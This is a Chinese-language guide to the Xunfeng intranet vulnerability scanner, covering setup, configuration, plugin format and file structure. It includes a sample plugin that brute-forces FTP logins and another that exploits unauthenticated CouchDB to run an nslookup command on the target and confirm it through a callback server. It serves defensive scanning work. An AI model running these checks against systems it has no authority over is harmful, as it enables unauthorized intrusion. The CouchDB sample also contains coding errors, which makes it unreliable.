巡風漏掃系統介紹與安裝

巡風 License


巡風是一款適用於企業內網的漏洞快速應急、巡航掃描系統,通過搜索功能可清晰的瞭解內部網絡資產分佈情況,並且可指定漏洞插件對搜索結果進行快速漏洞檢測並輸出結果報表。

本軟件只做初步探測,無攻擊性行爲。請使用者遵守《中華人民共和國網絡安全法》,勿將巡風用於非授權的測試,YSRC/同程安全應急響應中心/同程網絡科技股份有限公司不負任何連帶法律責任。

其主體分爲兩部分:網絡資產識別引擎漏洞檢測引擎

網絡資產識別引擎會通過用戶配置的IP範圍定期自動的進行端口探測(支持調用MASSCAN),並進行指紋識別,識別內容包括:服務類型、組件容器、腳本語言、CMS。

漏洞檢測引擎會根據用戶指定的任務規則進行定期或者一次性的漏洞檢測,其支持2種插件類型、標示符與腳本,均可通過web控制檯進行添加。

安裝指南

Python 2.7 MyGet

國內鏡像 https://code.aliyun.com/ysrc/xunfeng.git

配置指南

  • 在配置-爬蟲引擎-網絡資產探測列表 設置內網IP段**(必須配置,否則無法正常使用,每個IP段最大限制爲10個B段)**。
  • 在配置-爬蟲引擎-資產探測週期 設置計劃規則。
  • 可啓用MASSCAN(探測範圍爲全端口)代替默認的端口探測腳本,需安裝好MASSCAN後配置程序完整絕對路徑,點擊開啓即可完成切換。 MASSCAN需chmod +x 給執行權限,並手動執行確保可正常運行後再開啓。
  • 其他配置根據自身需要進行修改。

插件編寫

漏洞插件支持2種類型,json標示與python腳本,可以通過官方推送渠道安裝或者自行添加。

JSON標示符

Python腳本

插件標準非常簡潔,只需通過 get_plugin_info 方法定義插件信息,check函數檢測漏洞即可。

# coding:utf-8

import ftplib

def get_plugin_info():  # 插件描述信息
    plugin_info = {
        "name": "FTP弱口令",
        "info": "導致敏感信息泄露,嚴重情況可導致服務器被入侵控制。",
        "level": "高危",
        "type": "弱口令",
        "author": "wolf@YSRC",
        "url": "",
        "keyword": "server:ftp",  # 推薦搜索關鍵字
    }
    return plugin_info

def check(ip, port, timeout): # 漏洞檢測代碼
    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
    for user in user_list:
        for pass_ in PASSWORD_DIC:  # 密碼字典無需定義,程序會自動爲其賦值。
            pass_ = str(pass_.replace('{user}', user))
            try:
                ftp = ftplib.FTP()
                ftp.timeout = timeout
                ftp.connect(ip, port)
                ftp.login(user, pass_)
                if pass_ == '': pass_ = 'null'
                if user == 'ftp' and pass_ == 'ftp': return u"可匿名登錄"
                return u"存在弱口令,賬號:%s,密碼:%s" % (user, pass_)  # 成功返回結果,內容顯示在掃描結果頁面。
            except:
                pass

此外系統內嵌了輔助驗證功能:

DNS:觸發,nslookup randomstr IP,驗證, http://ip:8088/randomstr ,返回YES即存在。

HTTP:觸發,http://ip:8088/add/randomstr ,驗證, http://ip:8088/check/randomstr ,返回YES即存在。

使用例子:

import urllib2
import random
import socket

def get_plugin_info():  # 插件描述信息
    plugin_info = {
            "name": "CouchDB未授權訪問",
            "info": "導致敏感信息泄露,攻擊者可通過控制面板執行系統命令,導致服務器被入侵。",
            "level": "高危",
            "type": "未授權訪問",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:couchdb",  # 推薦搜索關鍵字
    }

def get_ver_ip(ip):
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr

def random_str(len):
    str1=""
    for i in range(len):
        str1+=(random.choice("ABCDEFGH1234567890"))
    return str(str1)

def check(ip,port,timeout):
    rand_str = random_str(8)
    cmd = random_str(4)
    server_ip = get_ver_ip()
    req_list = [
        ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
        ["/vultest123",''],
        ["/vultest123/test",'{"_id":"safetest"}']
    ]
    for req_info in req_list:
        try:
            request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
            request.get_method = lambda: 'PUT'
            urllib2.urlopen(request)
        except:
            pass
    try:
        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
        req_exec.add_header("Content-Type","application/json")
        urllib2.urlopen(req_exec)
    except:
        pass
    check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
    if 'YES' in check:
        return u"未授權訪問"

流程演示視頻

文件結構

│  Config.py  # 配置文件
│  README.md  # 說明文檔
│  Run.bat  # Windows啓動服務
│  Run.py  # webserver
│  Run.sh    # Linux啓動服務,重新啓動前需把進程先結束掉
│
├─aider
│      Aider.py  # 輔助驗證腳本
│
├─db  # 初始數據庫結構
│
├─masscan  # 內置編譯好的Masscan程序(CentOS win64適用),需要chmod+x給執行權限(root),若無法使用請自行編譯安裝。
├─nascan
│  │  NAScan.py # 網絡資產信息抓取引擎
│  │
│  ├─lib
│  │      common.py 其他方法
│  │      icmp.py  # ICMP發送類
│  │      log.py  # 日誌輸出
│  │      mongo.py  # 數據庫連接
│  │      scan.py  # 掃描與識別
│  │      start.py  # 線程控制
│  │
│  └─plugin
│          masscan.py  # 調用Masscan腳本
│
├─views
│  │  View.py  # web請求處理
│  │
│  ├─lib
│  │      Conn.py  # 數據庫公共類
│  │      CreateExcel.py  # 表格處理
│  │      Login.py  # 權限驗證
│  │      QueryLogic.py  # 查詢語句解析
│  │
│  ├─static #靜態資源目錄
│  │
│  └─templates #模板文件目錄
│
└─vulscan
    │  VulScan.py  # 漏洞檢測引擎
    │
    └─vuldb # 漏洞庫目錄
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章